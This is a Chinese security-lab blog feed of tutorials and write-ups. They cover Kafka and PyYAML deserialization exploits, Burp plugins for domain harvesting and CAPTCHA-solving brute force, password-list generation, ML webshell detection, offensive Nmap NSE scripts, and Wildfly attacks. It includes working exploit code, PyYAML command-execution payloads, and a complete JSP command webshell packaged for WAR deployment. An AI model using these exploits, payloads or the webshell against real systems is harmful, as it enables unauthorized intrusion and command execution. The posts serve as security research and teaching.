Quantcast
Channel: 勾陈安全实验室
Viewing all 46 articles
Browse latest View live

Apache Kafkafa反序列化漏洞

$
0
0

作者直接给出了漏洞Poc:CVE-IDs request for Apache Kafka desrialization vulnerability via runtime

import junit.framework.Test;
import junit.framework.TestCase;
import junit.framework.TestSuite;
import org.apache.commons.io.FileUtils;
import org.apache.kafka.connect.runtime.standalone.StandaloneConfig;
import org.apache.kafka.connect.storage.FileOffsetBackingStore;
import ysoserial.payloads.Jdk7u21;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Map;

public void test_Kafka_Deser() throws Exception {

        StandaloneConfig config;

        String projectDir = System.getProperty("user.dir");

        Jdk7u21 jdk7u21 = new Jdk7u21();
        Object o = jdk7u21.getObject("touch vul");

        byte[] ser = serialize(o);

        File tempFile = new File(projectDir + "/payload.ser");
        FileUtils.writeByteArrayToFile(tempFile, ser);

        Map<String, String> props = new HashMap<String, String>();
        props.put(StandaloneConfig.OFFSET_STORAGE_FILE_FILENAME_CONFIG,
tempFile.getAbsolutePath());
        props.put(StandaloneConfig.KEY_CONVERTER_CLASS_CONFIG,
"org.apache.kafka.connect.json.JsonConverter");
        props.put(StandaloneConfig.VALUE_CONVERTER_CLASS_CONFIG,
"org.apache.kafka.connect.json.JsonConverter");
        props.put(StandaloneConfig.INTERNAL_KEY_CONVERTER_CLASS_CONFIG,
"org.apache.kafka.connect.json.JsonConverter");
        props.put(StandaloneConfig.INTERNAL_VALUE_CONVERTER_CLASS_CONFIG,
"org.apache.kafka.connect.json.JsonConverter");
        config = new StandaloneConfig(props);

        FileOffsetBackingStore restore = new FileOffsetBackingStore();
        restore.configure(config);
        restore.start();
    }

    private byte[] serialize(Object object) throws IOException {
        ByteArrayOutputStream bout = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(bout);
        out.writeObject(object);
        out.flush();
        return bout.toByteArray();
    }

咨询了下研发人员,说他们代码里面没有这个class。这个反序列化应该可以用来bypass一些黑名单。类似于MarshalledObject类bypass weblogic。

通过全局搜索在源码中的测试用例也存在有漏洞的写法,不知道这个类是否有其他的使用场景?可以一起交流下。

FileOffsetBackingStore.png

搭建环境测试:

package ysoserial.exploit;
import org.apache.commons.io.FileUtils;
import org.apache.kafka.connect.runtime.standalone.StandaloneConfig;
import org.apache.kafka.connect.storage.FileOffsetBackingStore;
import ysoserial.payloads.CommonsCollections4;
import ysoserial.payloads.Jdk7u21;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Map;

public class KafkaExploitTest {
    public static void test_Kafka_Deser() throws Exception {
        StandaloneConfig config;
        String projectDir = System.getProperty("user.dir");
        CommonsCollections4 cc4 = new CommonsCollections4();
        Object o = cc4.getObject("calc");

        byte[] ser = serialize(o);

        File tempFile = new File(projectDir + "/payload.ser");
        FileUtils.writeByteArrayToFile(tempFile, ser);

        Map<String, String> props = new HashMap<String, String>();
        props.put(StandaloneConfig.OFFSET_STORAGE_FILE_FILENAME_CONFIG, tempFile.getAbsolutePath());
        props.put(StandaloneConfig.KEY_CONVERTER_CLASS_CONFIG, "org.apache.kafka.connect.json.JsonConverter");
        props.put(StandaloneConfig.VALUE_CONVERTER_CLASS_CONFIG, "org.apache.kafka.connect.json.JsonConverter");
        props.put(StandaloneConfig.INTERNAL_KEY_CONVERTER_CLASS_CONFIG, "org.apache.kafka.connect.json.JsonConverter");
        props.put(StandaloneConfig.INTERNAL_VALUE_CONVERTER_CLASS_CONFIG, "org.apache.kafka.connect.json.JsonConverter");
        config = new StandaloneConfig(props);

        FileOffsetBackingStore restore = new FileOffsetBackingStore();
        restore.configure(config);
        restore.start();
    }

    private static byte[] serialize(Object object) throws IOException {
        ByteArrayOutputStream bout = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(bout);
        out.writeObject(object);
        out.flush();
        return bout.toByteArray();
    }

    public static void main(String[] args) throws Exception{
        KafkaExploitTest.test_Kafka_Deser();
    }
}

Pom.xml添加依赖:

<!-- https://mvnrepository.com/artifact/org.apache.kafka/connect-runtime -->
<dependency>
<groupId>org.apache.kafka</groupId>
<artifactId>connect-runtime</artifactId>
<version>0.11.0.0</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.kafka/connect-json -->
<dependency>
<groupId>org.apache.kafka</groupId>
<artifactId>connect-json</artifactId>
<version>0.11.0.0</version>
<scope>test</scope>
</dependency>

calc.png

漏洞Demo:

[@Test](/user/Test)
   public void testSaveRestore() throws Exception {
       Callback<Void> setCallback = expectSuccessfulSetCallback();
       Callback<Map<ByteBuffer, ByteBuffer>> getCallback = expectSuccessfulGetCallback();
       PowerMock.replayAll();

       store.set(firstSet, setCallback).get();
       store.stop();

       // Restore into a new store to ensure correct reload from scratch
       FileOffsetBackingStore restore = new FileOffsetBackingStore();
       restore.configure(config);
       restore.start();
       Map<ByteBuffer, ByteBuffer> values = restore.get(Arrays.asList(buffer("key")), getCallback).get();
       assertEquals(buffer("value"), values.get(buffer("key")));

       PowerMock.verifyAll();
   }

业务序列化使用avro或者json居多。如果用jdk原生方式,应该会用到这个函数进行反序列化。


BurpSuite插件:利用BurpSuite Spider收集子域名和相似域名

$
0
0

前言

在我的域名收集知识体系中,利用爬虫来获取域名是其中的一部分(见文末思维导图,其他部分的实现请访问我的另外一个项目:https://github.com/bit4woo/Teemo ),由于使用频率,使用习惯等问题,而我最终决定使用BurpSuite的Spider来实现爬虫部分的自动化收集。所以有了这个BurpSuite插件:Domain Hunter。

原理

当使用了BurpSuite作为代理,或者使用它进行了安全测试,会就会记录相关的域名。其中,某个目标的子域名和相似域名很有价值,尤其是相似域名,往往有惊喜!插件的主要原理就是从BurpSuite的Sitemap中搜索出子域名和相似域名。也可以对已经发现的子域名进行主动爬取,以发现更多的相关域名,这个动作可以自己重复递归下去,直到没有新的域名发现为止。

项目地址

https://github.com/bit4woo/domain_hunter

Screenshot

screenshot1.png

Change Log

2017-07-28: Add a function to crawl all known subdomains; fix some bug.

Xmind Of Domain Collection

xmind.png

大力出奇迹:Web架构中的安全问题一例

$
0
0

前言

在一次对线上业务的测试中,遇到过一个奇怪的问题,经排查和LVS以及后台应用服务的同步有关,现在分享如下;并对web架构的基础知识和个人经验认为可能存在的问题做简单的总结。

现象

  1. 爆破接口本来是做了防护的,即当某IP的请次数超过一定的阀值后返回403(正常请求返回的是200),但是大量的多线程请求中出现了某些请求仍然正常的情况。如图:

burp.png

  1. 在某次对另一个业务的测试中,也发现了类似的问题。某登录接口,多次尝试后开始要求图形验证码确认,但当用户多次点击按钮请求,图形验证码要求却消失了。

原因

经过运维的排查,发现根本原因是后端多台服务器配置不一致导致的,比如有三台服务器的代码是最新的,有防护策略,而有一台服务器的代码没有得到更新,没有防护策略,当多次请求的时候,LVS将流量指向了没有启用防护策略的服务器,响应包也就没有要求图形验证或响应正常,从而导致了多个请求中存在了无需验证的数据包。

测试方法和利用

多线程、高并发请求;这些大量异常包中的正常请求也是有可能被利用的,比如,如果LVS是轮询算法,即每N次就有一次可利用的请求。

总结

现在的web应用早已不是单台服务器的时代了,往往都有一个庞大的web架构来支撑一个应用。个人学习了一下相关基础知识,并根据经验罗列了一下这些架构中可能存在的问题。

习惯了通过思维导图来记录知识,高清大图请点击或者右键查看:

xmind.png

Xmind源文件请访问Github获取。

PassMaker:可以自定义规则的密码字典生成器

$
0
0

项目地址

https://github.com/bit4woo/passmaker

目的

该脚本的主要目标是根据定制的规则来组合生成出密码字典,主要目标是针对企业,希望对安全人员自查“符合密码策略的若密码”有所帮助。

规则

程序的核心是密码规则的指定,比如:

  • domain+常规弱密码
  • domain+键盘弱密码
  • domain+特殊字符+常规弱密码
  • domain+特殊字符+年份
    ……等等

配置

说明已经写在配置文件的注释中了

#第一步,定义种子(seed),密码的基本组成部分
domain= ["baidu.com","baidu","Baidu.com","BaiDu.com"]
year = ["2016","2017","2018"]
special_letter = ["!","@","#","$","%",]
common_weak_pass = open('./seed/weak_pass_top100.txt').readlines()
keyboard_walk = open('./seed/4_keyboard_walk.txt').readlines()
#domain_capitalize = False #域名首字母大写处理


#第二步,定义密码的组成规则,list中的一个元素代表一个规则
rule = ["domain+special_letter+year","domain+special_letter+keyboard_walk","domain+special_letter+common_weak_pass"]
keep_in_order = False #以上的规则,是否保持原顺序,如果为False 将对每个规则中的seed进行排列组合后生产密码。



#第三步,对以上生成的密码再进行一些变形处理
capitalize = True  #是否进行首字母大写处理
leet = False       #是否进行变形处理,即通过下方的字典进行对应的字母替换
leet2num = {"a":"4",
            "i":"1",
            "e":"3",
            "t":"7",
            "o":"0",
            "s":"5",
            "g":"9",
            "z":"2"}

leet2string ={
            "O" : "()",
            "U" : "|_|",
            "D" : "|)",
            "W" : "\/\/",
            "S" : "$",
            }


#第四步,根据以下密码规则约束,对以上生成的密码进行过滤处理,删除不满足条件的记录
min_lenth =8
need_upper_letter = False
need_lower_letter = True
need_special_char = False
need_nummber = False
#大写字母、小写字母、特殊符号、数字,四种包含三种---常见的密码要求
kinds_needed = 3  #四者包含其三

如果有好的建议,欢迎通过issue提交给我,谢谢!

利用sklearn检测webshell

$
0
0

环境搭建

Window

  • 安装IDE Anaconda

Anaconda在python语言外,还集成了numpy、scipy、matplotlib等科学计算包,以及beautiful-soup、requests、lxml等网络相关包。安装Anaconda后,基本不再需要费劲地安装其他第三方库了。

Mac Install

webshell检测

NeoPI可以生成文件的信息熵,最长单词、重合指数、特征以及压缩比等,个人感觉应该比但存通过1-gram、2-gram分词效果要好。

  1. 信息熵(Entropy):通过使用ASCII码表来衡量文件的不确定性。
  2. 最长单词(Longest Word):最长的字符串也许潜在的被编码或被混淆。
  3. 重合指数(Index of Coincidence):低重合指数预示文件代码潜在的被加密或被混效过。
  4. 特征(Signature):在文件中搜索已知的恶意代码字符串片段。
  5. 压缩(Compression):对比文件的压缩比。(more info)

黑样本

tennc ysrc tdifg tanjiti

白样本

Wordpress joomla

样本向量化

python neopi.py --csv=joomla.csv -a -A /Users/0c0c0f/soft/threathunter/joomla-cms

测试代码

import numpy as np
from sklearn import tree
from sklearn import linear_model
from sklearn.naive_bayes import GaussianNB
from sklearn import svm
from sklearn import ensemble
from sklearn import neighbors

def loubao_desc(algorithm,y_pred):
    num=0
    sum=0
    for p in y_pred:
        if p==0.0:
            num = num+1
        sum = sum+1
    print(algorithm,"漏报率:",num/sum)

def wubao_desc(algorithm,y_pred):
    num=0
    sum=0
    for p in y_pred:
        if p==1.0:
            num = num+1
        sum = sum+1
    print(algorithm,"误报率:",num/sum)

training = "/Users/0c0c0f/soft/threathunter/thwebshellldetect/traning.csv"
testing_black = "/Users/0c0c0f/soft/threathunter/thwebshellldetect/tdifg.csv"
testing_white = "/Users/0c0c0f/soft/threathunter/thwebshellldetect/joomla.csv"

training_data = np.loadtxt(open(training,"r"), delimiter=",")
debug = 1
if debug==0:
    testing_data = np.loadtxt(open(testing_black,"r"), delimiter=",")
else:
    testing_data = np.loadtxt(open(testing_white,"r"), delimiter=",")
X = training_data[:,0:4]
y = training_data[:,5]

X1 = testing_data[:,0:4]

# 朴素贝叶斯
gnb = GaussianNB()
y_pred = gnb.fit(X, y).predict(X1)
if debug==0:
    loubao_desc('朴素贝叶斯',y_pred)
else:
    wubao_desc('朴素贝叶斯', y_pred)

# 决策树
dtc = tree.DecisionTreeClassifier()
y_pred =dtc.fit(X, y).predict(X1)
if debug==0:
    loubao_desc('决策树',y_pred)
else:
    wubao_desc('决策树', y_pred)

# 逻辑回归
lr = linear_model.LinearRegression()
y_pred =lr.fit(X, y).predict(X1)
if debug==0:
    loubao_desc('逻辑回归',y_pred)
else:
    wubao_desc('逻辑回归', y_pred)

# 支持向量机
svc = svm.SVC()
y_pred =svc.fit(X, y).predict(X1)
if debug==0:
    loubao_desc('支持向量机',y_pred)
else:
    wubao_desc('支持向量机', y_pred)

# k近邻
knc = neighbors.KNeighborsClassifier()
y_pred = knc.fit(X, y).predict(X1)
if debug==0:
    loubao_desc('k近邻',y_pred)
else:
    wubao_desc('k近邻', y_pred)

测试结果

  • 朴素贝叶斯 漏报率: 0.4879032258064516
  • 决策树 漏报率: 0.0
  • 逻辑回归 漏报率: 0.0
  • 支持向量机 漏报率: 0.04838709677419355
  • k近邻 漏报率: 0.020161290322580645
  • 朴素贝叶斯 误报率: 0.004206393718452047
  • 决策树 误报率: 0.2501402131239484
  • 逻辑回归 误报率: 0.0
  • 支持向量机 误报率: 0.26472237801458215
  • k近邻 误报率: 0.2526640493550196

逻辑回归检测webshell最优

参考

Python PyYAML反序列化漏洞实验和Payload构造

$
0
0

0x01 概述

什么程序存在漏洞:

使用了PyYAML这个库并且使用了yaml.load而不是yaml.safe_load函数来解析yaml文件的程序

代码审计关键词:

  • import yaml
  • yaml.load(

已知相关漏洞:

  • Remote Code Execution Vulnerability in Ansible-Vault Library. (CVE-2017-2809)
  • https://pypi.python.org/pypi/ansible-vault/1.0.4 ansible-vault <=1.0.4存在这个漏洞,在1.0.5中完成了修复
  • Remote Code Execution Vulnerability in Tablib. (CVE-2017-2810)

0x02 yaml和序列化

yaml和xml、json等类似,都是标记类语言,有自己的语法格式。各个支持yaml格式的语言都会有自己的实现来进行yaml格式的解析(读取和保存),其中PyYAML就是python的一个yaml库。

除了 YAML 格式中常规的列表、字典和字符串整形等类型转化外(基本数据类型),各个语言的 YAML 解析器或多或少都会针对其语言实现一套特殊的对象转化规则(也就是序列化和反序列化,这是关键点,是这个漏洞存在的前提)。比如:PyYAML 在解析数据的时候遇到特定格式的时间数据会将其自动转化为 Python 时间对象

  • 序列化: 将数据结构或对象转换成二进制串(字节序列)的过程
  • 反序列化:将在序列化过程中所生成的二进制串转换成数据结构或者对象的过程

将如下内容保存到sample.yml

date: !!str 2016-03-09
date1:  2016-03-09
weekday: Wednesday
weather: sunny

然后在同一目录下运行如下python 代码:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'

import yaml

print(yaml.load(file('sample.yml', 'r')))

可以看到如下结构,有“!!str”强制类型转换的,就成了字符串格式;没有类型转换的就是python中datetime.date对象。

微信图片_20170922164720.png

0x03 代码执行PoC构造的尝试

以笔者目前初浅的理解,要实现代码执行,就需要序列化和反序列的内容中出现该编程语言中的对象(函数、类),因为的对象的反序列化,是在构建一个对象的实例(实例化的过程)。如果一个对象中有函数的定义,有可执行代码,那么实例化后再通过方法调用或者其他的途径才能使其中的代码到执行。普通数据类型的反序列化只是变量相关的初始化、赋值等操作,不会涉及到逻辑处理的代码块,所有不会有代码的执行!(普通数据类型 = 数据,对象= 函数代码+数据)。

通过跟踪$PYTHON_HOME/lib/site-packages/yaml/constructor.py文件,查看 PyYAML 源码可以得到其针对 Python 语言特有的标签解析的处理函数对应列表,其中有三个和对象相关:

!!python/object:          =>  Constructor.construct_python_object

!!python/object/apply:    =>  Constructor.construct_python_object_apply

!!python/object/new:      =>  Constructor.construct_python_object_new

通过如下代码,来序列化test类中的内容:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'
__filename__ = 'yaml_gen_poc.py'

import yaml
import os

class test:
    def __init__(self):
        os.system('calc.exe')

payload =  yaml.dump(test())

fp = open('simple.yml','w')
fp.write(payload)

可以看到simple.yml中写入的内容如下:

!!python/object:yaml_gen_poc.test {}

再运行yaml_verify.py来验证:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'
__filename__ = "yaml_verify.py"

import yaml

yaml.load(file('simple.yml', 'r'))

微信图片_20170922164726.png

成功执行了命令,弹出计算器。但是yaml_verify.py的成功运行,需要依赖yaml_gen_poc.py,因为它会根据yml文件中的指引去读取yaml_gen_poc.py中的test这个对象(类)。如果删除yaml_gen_poc.py,也将运行失败。

0x04 构造通用payload

那么我们怎样消除这个依赖呢?就是将其中的类、或者函数 换成python标准库中的类或者函数。

直接修改yml文件为:

!!python/object:os.system ["calc.exe"]

再运行,失败(显示参数未传递:TypeError: system() takes exactly 1 argument (0 given)),尝试查看源码、并变换yml文件中语句格式,均未成功!(疑难点)。

修改为以下2种均成功,通过源码得知,new其实是调用了apply,他们的不同的地方是创建对象的方式,这里可以大致认为它们是一样的。

!!python/object/apply:os.system ["calc.exe"]

!!python/object/new:os.system ["calc.exe"]

既然解决了依赖问题,那我们就尝试构建一些有用的poc吧,从官方标准库里找可以用来执行命令的函数:https://docs.python.org/2/library/index.html

!!python/object/apply:subprocess.check_output [[calc.exe]]

!!python/object/apply:subprocess.check_output ["calc.exe"]

!!python/object/apply:subprocess.check_output [["calc.exe"]]

!!python/object/apply:os.system ["calc.exe"]

!!python/object/new:subprocess.check_output [["calc.exe"]]

!!python/object/new:os.system ["calc.exe"]

..................

本文测试代码地址:

https://github.com/bit4woo/sharexmind/tree/master/YamlRCE

0x05 参考

reCAPTCHA:一款自动识别图形验证码并用于Intruder Payload中的BurpSuite插件

$
0
0

首发:先知技术社区

0x01 简介

一个burp插件,自动识别图形验证码,并用于Intruder中的Payload。

项目主页:https://github.com/bit4woo/reCAPTCHA

0x02 使用

安装:

  1. 这里下载插件。
  2. 将它添加到burp。如果没有遇到错误,你将看到一个新的名为“reCAPTCHA”的tab。

准备:

  1. 通过burp代理访问目标网站的登录界面。
  2. 在proxy中找到获取图形验证码的请求,选中它并点击右键选择“Send to
    reCAPTCHA”,这个请求的信息将被发送到reCAPTCHA。

Send_to.png

  1. 切换到reCAPTCHA标签,并配置所需的参数。当参数配置好后,你可以点击“请求”按钮来测试配置。
  2. http://www.ysdm.net
    的API是目前唯一支持的接口,其中的各项参数需要自行注册帐号并填写,才能成功调用接口完成图片的识别。该API需要的参数如下,请用正确的值替换%s
    ,特别注意typeid值的设定(http://www.ysdm.net/home/PriceType)。

    username=%s&password=%s&typeid=%s

在Intruder中使用:

完成了配置并测试成功后,现在可以在Intruder中使用该插件生成的payload了。有2种情况:用户名或密码之一+验证码;用户名+密码+验证码;

情况一:只有密码或只有用户名需要改变,我们可以用Pitchfork 模式来配置。

比如,已知系统存在一个用户admin,来爆破该用户,插入点标记如下,

index_condition1_mark.png

payload 1我们从文件中加载,这个不必多说。

payload 2 选择“Extension-Generated”.

index_condition1_mark_payload2.png

运行效果如下:

index_condition1.png

情况二:用户名和口令都需要改变,这个稍微复杂点。我们还是使用Pichfork模式,但需要将用户名和密码一起标注为一个插入点。像这样:

index_mark.png

payload 1 使用“自定义迭代器(Custom interator)”。并在迭代器中组合用户名和密码。

在该例子中,即 position 1为用户名,position 2 为“&j_password=”,postion 3为密码。

index1.png

payload 2 的配置和情况一中的配置完全一样。

运行效果如图:

index_mark2.png

0x03 reCAPTCHA界面截图

screenshot.png

0x04 日志

2017-11-01:第一个demo版本发布。

交流群

微信图片_20171106144105.jpg

一些Nmap NSE脚本推荐

$
0
0

前言

Nmap是一款强大的开源扫描工具。同时Nmap提供了强大的脚本引擎(Nmap Scripting Engine),支持通过Lua脚本语言来扩展Nmap的功能,在Nmap的发行版中已经包含了数百个扩展脚本,除了辅助完成Nmap的主机发现、端口扫描、服务侦测、操作系统侦测四个基本功能,还补充了其他扫描能力:如执行HTTP服务详细的探测、暴力破解简单密码、检查漏洞信息等等。

脚本分类及使用

分类

Nmap脚本主要分为以下几类,引用自:Nmap脚本使用总结

auth: 负责处理鉴权证书(绕开鉴权)的脚本  
broadcast: 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务  
brute: 提供暴力破解方式,针对常见的应用如http/snmp等  
default: 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力  
discovery: 对网络进行更多的信息,如SMB枚举、SNMP查询等  
dos: 用于进行拒绝服务攻击  
exploit: 利用已知的漏洞入侵系统  
external: 利用第三方的数据库或资源,例如进行whois解析  
fuzzer: 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞 intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽  
malware: 探测目标机是否感染了病毒、开启了后门等信息  
safe: 此类与intrusive相反,属于安全性脚本  
version: 负责增强服务与版本扫描(Version Detection)功能的脚本  
vuln: 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067

命令行选项

Nmap提供的一些命令如下:

-sC/--script=default:使用默认的脚本进行扫描。
--script=<Lua scripts>:使用某个脚本进行扫描
--script-args=x=x,y=y: 为脚本提供参数 
--script-args-file=filename: 使用文件来为脚本提供参数 
--script-trace: 显示脚本执行过程中发送与接收的数据 
--script-updatedb: 更新脚本数据库 
--script-help=<Lua scripts>: 显示脚本的帮助信息

脚本

针对性脚本

​​​收集了Github上的一些较有针对性Nmap脚本:

  • MS15-034、LFI、Nikto、ShellShock、tenda

https://github.com/s4n7h0/NSE

  • 枚举ICS程序和设备

https://github.com/digitalbond/Redpoint

  • 一些NSE脚本合集

https://github.com/cldrn/nmap-nse-scripts

  • 路由器信息收集:

https://github.com/DaniLabs/scripts-nse

  • 暴力破解

https://github.com/lelybar/hydra.nse

  • Cassandra、WebSphere

https://github.com/kost/nmap-nse

  • Scada

https://github.com/drainware/nmap-scada

  • NSE开发工具

https://github.com/s4n7h0/Halcyon

  • Hadoop、Flume

https://github.com/b4ldr/nse-scripts

  • WordPress

https://github.com/peter-hackertarget/nmap-nse-scripts

  • VNC

https://github.com/nosteve/vnc-auth

  • PhantomJS检查Http Header信息

https://github.com/aerissecure/nse

  • WebServices检测

https://github.com/c-x/nmap-webshot

  • SSL心脏滴血

https://github.com/takeshixx/ssl-heartbleed.nse

  • OpenStack

https://github.com/sicarie/nse

  • Apache、Rails-xml

https://github.com/michenriksen/nmap-scripts

  • 网关、DNS

https://github.com/ernw/nmap-scripts

  • MacOS

https://github.com/ulissescastro/ya-nse-screenshooter

  • 目录扫描、WhatCMS、漏洞检测

https://github.com/Cunzhang/NseScripting

  • Redis

https://github.com/axtl/nse-scripts

  • 华为设备检测

https://github.com/vicendominguez/http-enum-vodafone-hua253s

  • Axis​​​​

https://github.com/bikashdash/Axis_Vuln_Webcam

内网渗透

来自影牛milsec公众号的推荐

Nmap提供了许多有效的脚本,无需依赖其他第三方的工具对内网机器进行渗透测试:

  • smb-enum-domains.nse

域控制器信息收集,主机信息、用户、密码策略等

  • smb-enum-users.nse

域控制器扫描

  • smb-enum-shares.nse

遍历远程主机的共享目录

  • smb-enum-processes.nse

通过SMB对主机的系统进程进行遍历

  • smb-enum-sessions.nse

通过SMB获取域内主机的用户登录session,查看当前用户登录情况

  • smb-os-discovery.nse

通过SMB协议来收集目标主机的操作系统、计算机名、域名、全称域名、域林名称、NetBIOS机器名、NetBIOS域名、工作组、系统时间等

  • smb-ls.nse

列举共享目录内的文件,配合smb-enum-share使用

  • smb-psexec.nse

获取到SMB用户密码时可以通过smb-psexec在远程主机来执行命令

  • smb-system-info.nse

通过SMB协议获取目标主机的操作系统信息、环境变量、硬件信息以及浏览器版本等

  • ms-sql-brute.nse

收集组合字典后对域内的MSSQL机器进行破解

  • ms-sql-xp-cmdshell.nse

获得MSSQL的SA权限用户名密码时可以通过Nmap脚本来执行指定命令,可以通过SMB协议或者MSSQL来执行

  • redis.nse

爆破Redis的用户密码,可以结合写入SSH key获取服务器权限

  • oracle-sid-brute.nse

挂载字典爆破oracle的sid

  • oracle-enum-users

通过挂载字典遍历Oracle的可用用户

  • oracle-brute.nse

获取sid之后可以爆破Oracle的用户密码

  • pgsql-brute.nse

PostgreSql用户密码猜解脚本,对pgsql进行密码爆破,适当的权限下可以读写文件、执行命令,从而进一步获取服务器控制权限。

  • svn-brute.nse

对SVN服务器进行爆破,通过这些svn服务器上的内容,我们可以下载源代码,寻找一些有用的信息

工具

Nmap NSE脚本搜索引擎

  • https://github.com/JKO/nsearch

     ================================================
       _   _  _____  _____                     _
      | \ | |/  ___||  ___|                   | |
      |  \| |\ `--. | |__    __ _  _ __   ___ | |__
      | . ` | `--. \|  __|  / _` || '__| / __|| '_  |
      | |\  |/\__/ /| |___ | (_| || |   | (__ | | | |
      \_| \_/\____/ \____/  \__,_||_|    \___||_| |_|
     ================================================
      Version 0.4b http://goo.gl/8mFHE5  @jjtibaquira
      Email: jko@dragonjar.org  |   www.dragonjar.org
     ================================================
    
     nsearch> search name:http author:calderon category:vuln
     *** Name                                     Author
     [+] http-vuln-cve2012-1823.nse               Paulino Calderon, Paul AMAR
     [+] http-phpself-xss.nse                     Paulino Calderon
     [+] http-wordpress-enum.nse                  Paulino Calderon
     [+] http-adobe-coldfusion-apsa1301.nse       Paulino Calderon
     [+] http-vuln-cve2013-0156.nse               Paulino Calderon
     [+] http-awstatstotals-exec.nse              Paulino Calderon
     [+] http-axis2-dir-traversal.nse             Paulino Calderon
     [+] http-huawei-hg5xx-vuln.nse               Paulino Calderon
     [+] http-tplink-dir-traversal.nse            Paulino Calderon
     [+] http-trace.nse                           Paulino Calderon
     [+] http-litespeed-sourcecode-download.nse   Paulino Calderon
     [+] http-majordomo2-dir-traversal.nse        Paulino Calderon
     [+] http-method-tamper.nse                   Paulino Calderon
    

总结

扫描经常会触发IDS或者其他的安全设备,所以在用的时候应根据实际的环境,来选择合适的脚本。

参考


[持续更新] 精通Nmap脚本引擎

$
0
0

写在前面的话

本书主要介绍NSE脚本的编写,书中内容来源主要是Paulino CalderÓn Pale的著作《Mastering Nmap Scripting Engine》和互联网上的一些公开文章,为了对原作者的尊重,文章中其他的引用的内容均标注出来。

本书不是《Mastering Nmap Scripting Engine》的中文翻译版,你可以理解为是为学习这本书和实战中的一系列笔记。

首先,感谢nmap.org,为业界提供了一款如此好用的软件。

其次,感谢《Mastering Nmap Scripting Engine》的作者,让我更深入地了解Nmap。

最后,感谢Ronen,他编写的nmap4j很好。

以上,是为引子。

感谢您的阅读,阅读过程中,如果需要交流讨论,欢迎发送邮件到 t0data@hotmail.com

已更新的章节内容

第一章 Nmap脚本简介

  • Nmap脚本分类
  • Nmap脚本使用方式
  • Nmap脚本参数的使用
  • debug的使用

第二章 NSE脚本开发环境

  • 开发环境安装
  • Halcyon IDE 配置
  • 如何新增NSE脚本

GitBook在线地址

https://www.gitbook.com/book/t0data/nmap-nse/details

安全情报

$
0
0

安全情报感知小密圈

  • 信息安全情报
  • 深网暗网情报
  • 前沿安全技术
  • 业务安全风控
  • 漏洞威胁感知
  • 数据泄露事件

微信扫描二维码加入小密圈:

xiaomiquan

Hacking Wildfly

$
0
0

前言

前段时间做项目碰到的,研究了下。一些拙见,欢迎指正-:)

简介

Wildfly是一个基于Java的应用服务器,Wildfly是Redhat在2013年为JBoss AS项目起的新名称。改名后的首个版本为WildFly8,目前已经发布到了11.0.0.Final版本。这里不得不提JBoss EAP:

  • JBoss EAP < 7 (Wildfly < 10)
  • JBoss EAP >=7 (Wildfly >= 10)

了解更多:http://www.wildfly.org

服务发现与爆破

发现

Wildfly的默认端口为8080 ,Administrator Console的端口为9990 。服务识别可以使用Nmap或者其他同类型的工具扫描指定端口即可。

Nmap NSE脚本:

nmap ‐‐script wildfly‐detect 127.0.0.1

wildfly-detect.png

OpenVAS识别WildFly及其版本的脚本:http://plugins.openvas.org/nasl.php?oid=111036

爆破

使用Nmap NSE脚本:

nmap ‐p 9990 ‐‐script wildfly‐brute ‐‐script‐args "userdb=user.txt,passdb=pass.txt,hostname=domain.com" <target>

wildfly-brute.png

漏洞

Wildfly发布至今也未出现什么重大漏洞,少有几个RCE也没用公开能利用的PoC。

其中有个WildFly 8.1.0.Final目录遍历漏洞(CVE-2014-7816)的MetaSploit模块:

msf > use auxiliary/scanner/http/wildfly_traversal
msf auxiliary(wildfly_traversal) > show actions
msf auxiliary(wildfly_traversal) > set ACTION <action‐name>
msf auxiliary(wildfly_traversal) > show options
msf auxiliary(wildfly_traversal) > run

OpenVAS的JBoss WildFly Application Server RCE检测脚本:http://plugins.openvas.org/nasl.php?oid=806623看了下是受Java反序列化漏洞影响的一些版本。

还有个9.0.0.CR2之前的WildFly 9.x版本Undertow模块和10.0.0.Alpha1之前的10.x版本可以通过在URL末尾添加/来获取JSP页面源码的漏洞:https://stackoverflow.com/questions/30028346/with-trailing-slash-in-url-jspshow-source-code

http://localhost:8080/TaskManager/login.jsp/

WAR Backdoor&部署

WAR Backdoor

Wildfly并不能像Tomcat一样利用部署WAR后门,也无法使用Tomcat或Glassfish类型的.WAR后门文件。阅读官方文档之后发现Wildfly所使用的的WAR文件需要存在WEB-INF目录并且在WEB-INF目录下创建个自定义的jbossweb.xml文件,jboss-web.xml文件必须包含如下内容:

<?xml version="1.0" encoding="UTF‐8"?>
<jboss‐web xmlns="http://www.jboss.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema‐instance" xsi:schemaLocation="
http://www.jboss.com/xml/ns/javaee http://www.jboss.org/j2ee/schema/jboss‐web_5_1.xsd">
<context‐root>/WebShell</context‐root>
</jboss‐web>

其中<context-root>标签为应用程序目录,则上传部署完WAR文件之后访问的路径为:

http://127.0.0.1:8080/shellDirectory/shell.jsp

这里我们可以利用cmd.jsp来制作WAR文件,方便绕过一些WAF还有IDS:

<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
out.println(request.getParameter("cmd"));
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>

部署

获得凭证后登陆Administrator Console选择Deployments选项卡 - Add上传部署并Enable启用,这边演示的是9.0.0版本:

1712211917ee775b7e7fbfd781.png

